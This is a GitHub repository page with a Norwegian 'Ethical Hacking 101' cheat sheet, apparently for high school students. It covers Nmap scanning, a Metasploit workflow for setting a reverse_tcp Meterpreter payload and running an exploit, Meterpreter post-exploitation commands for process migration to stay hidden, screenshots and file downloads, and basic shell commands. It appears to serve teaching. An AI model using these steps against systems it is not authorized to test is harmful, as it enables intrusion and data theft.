https://github.com/flangvik/ethical-hacking-101-cheat-sheet
Cheat Sheet High School Student
https://github.com/flangvik/ethical-hacking-101-cheat-sheet
Last synced: 5 months ago
JSON representation
Cheat Sheet High School Student
- Host: GitHub
- URL: https://github.com/flangvik/ethical-hacking-101-cheat-sheet
- Owner: Flangvik
- Created: 2024-02-25T20:28:50.000Z (over 2 years ago)
- Default Branch: main
- Last Pushed: 2024-02-25T20:29:03.000Z (over 2 years ago)
- Last Synced: 2025-10-25T11:48:54.522Z (8 months ago)
- Size: 3.91 KB
- Stars: 8
- Watchers: 1
- Forks: 1
- Open Issues: 0
-
Metadata Files:
- Readme: README.md
Awesome Lists containing this project
README
# **Ethical Hacking 101 - Cheat Sheet**
### Nmap (Network Mapper)
Nmap er et åpen kildekode nettverksskanner verktøy brukt til å oppdage enheter og tjenester på et datanettverk, og gir sikkerhetsteam muligheten til å identifisere ulike sikkerhetssvakheter i nettverkskonfigurasjonen.
- `nmap -sS `: Utfører en TCP SYN scan (også kjent som en "stealth scan") på målet, som prøver å finne åpne porter uten å fullføre TCP håndtrykket.
- `nmap -p 1-65535 `: Skanner alle mulige porter (1 til 65535) på målets IP-adresse for å finne åpne tjenester.
- `nmap -sV `: Oppdager hvilke versjoner av tjenester som kjører på åpne porter ved å sende spesifikke forespørsler og analysere svarene.
- `nmap -O `: Prøver å bestemme operativsystemet som kjører på målet basert på karakteristikker i nettverkspakkene det svarer med.
- `nmap -sV -O -p 1-65535 `: Kombinerer funksjonene ovenfor for en grundig skanning som identifiserer åpne porter, tjenestenes versjoner, og operativsystemet.
### Msfconsole (Metasploit Framework)
Metasploit Framework er en åpen kildekode plattform for å utvikle, teste og utføre exploits mot et mål. Det er et essensielt verktøy for sikkerhetstestere for å identifisere og utnytte sårbarheter. MERK kommandoene under må utføres i rekkefølgen de er gitt!
- `msfconsole`: Starter Metasploit Command Line Interface (CLI), som er hovedgrensesnittet for å interagere med Metasploit.
- `search `: Brukes til å søke gjennom Metasploits database for spesifikke exploits basert på nøkkelord.
- `use `: Velger en spesifikk exploit du ønsker å bruke fra søket.
- `set PAYLOAD `: Definerer hvilken payload du ønsker å sende til målet etter at exploit er vellykket. Payloads kan gi deg en shell eller annen kontroll over målsystemet. Det lønner seg og velge payloden `java/meterpreter/reverse_tcp`
- `set RHOSTS `: Angir målets IP-adresse eller vertsnavn.
- `set LHOST `: Setter din lokale IP-adresse, som er adressen tilbakekoblinger fra målet vil bli sendt til.
- `exploit`: Utfører den valgte exploit mot målet med den konfigurerte payloaden.
- `sessions`: Viser en liste over alle aktive sesjoner. Dette inkluderer Meterpreter-sesjoner og shell-sesjoner som du har oppnådd gjennom ulike exploits. Kommandoen lar deg se detaljer om hver sesjon, som sesjonsnummer, type, informasjon om målet, og mer.
- For å bytte til en bestemt sesjon, bruk `sessions -i `, hvor `` er nummeret på sesjonen du ønsker å bytte til.
- `session -u `: Oppgraderer en gitt shell-sesjon til en Meterpreter-sesjon. Dette er spesielt nyttig hvis du først har oppnådd en enkel kommandolinje-shell på et mål, og ønsker å utnytte de mer avanserte funksjonene som tilbys av Meterpreter. Denne kommandoen forsøker å injisere en Meterpreter-payload i den eksisterende sesjonen for å oppgradere den.
### Meterpreter
Meterpreter er en avansert payload under Metasploit som gir en interaktiv kommandolinje (shell) på målsystemet, og tilbyr omfattende kontroll over målet.
- `getuid`: Viser identiteten til brukeren som Meterpreter-sesjonen kjører under på målsystemet.
- `sysinfo`: Gir detaljert informasjon om målsystemet, som operativsystem og maskinvare.
- `migrate `: Lar deg migrere Meterpreter-prosessen til en annen kjørende prosess på målsystemet, identifisert ved dens prosess-ID (PID), noe som kan hjelpe med å opprettholde tilgangen skjult.
- `screenshot`: Tar et skjermbilde av målets skjerm, noe som er nyttig for å samle bevis eller forstå brukerens aktiviteter.
- `ps`: Viser en liste over kjørende prosesser på målsystemet, noe som er kritisk for å velge en prosess for migrering eller forstå systemets bruk.
- `download `: Lar deg laste ned filer eller hele kataloger fra målsystemet til din lokale maskin for videre analyse.
- `background` eller `bg`: Denne kommandoen brukes for å sende den aktive Meterpreter-sesjonen til bakgrunnen. Dette er nyttig når du ønsker å fortsette å arbeide i msfconsole uten å avslutte den aktive sesjonen.
### Linux Terminal Kommandoer
Linux-terminalen er et kraftig verktøy for å navigere og administrere Linux-systemer gjennom kommandolinjen.
- `pwd`: Står for "Print Working Directory" og viser den fullstendige banen til gjeldende katalog du befinner deg i.
- `ls`: Lister opp alle filer og mapper i den gjeldende katalogen. Bruk `ls -la` for å vise detaljert informasjon inkludert skjulte filer.
- `uname -a`: Viser all tilgjengelig systeminformasjon, inkludert kernel name, versjon, og maskinarkitektur.
- `whoami`: Viser brukernavnet til den gjeldende brukeren logget inn i terminalen.
- `cd `: Endrer den gjeldende katalogen til en spesifisert katalog. `cd ..` brukes for å gå tilbake til overordnet katalog.
- `mkdir `: Oppretter en ny katalog med det angitte navnet.
- `rmdir `: Sletter en tom katalog.
- `touch `: Oppretter en ny tom fil eller oppdaterer tidsstempelet på en eksisterende fil uten å endre innholdet.
- `rm `: Sletter en fil. Bruk `rm -r ` for å rekursivt slette en katalog og alt dens innhold.
- `cat `: Viser innholdet av en fil i terminalvinduet.
### Windows Terminal Kommandolinje (CMD)
Windows CMD tilbyr kommandolinje tilgang for å utføre ulike operasjoner og administrere Windows-operativsystemet.
- `cd`: Endrer den gjeldende katalogen. `cd /` tar deg til roten av stasjonen / disken.
- `dir`: Viser en liste over filer og mapper i den gjeldende katalogen.
- `ipconfig`: Viser nettverkskonfigurasjonen, inkludert IP-adresser for alle nettverkskort. `ipconfig /all` gir detaljert informasjon om hver adapter.
- `ping
`: Tester nettverksforbindelsen til en spesifikk IP-adresse eller vertsnavn.
- `net user`: Viser eller endrer brukerkontoer på systemet.
- `systeminfo`: Gir detalj
- `del `: Sletter en fil. Bruk `rmdir /s ` for å slette en katalog og dens innhold.
- `copy `: Kopierer filer fra en plassering til en annen.
- `move `: Flytter filer fra en plassering til en annen.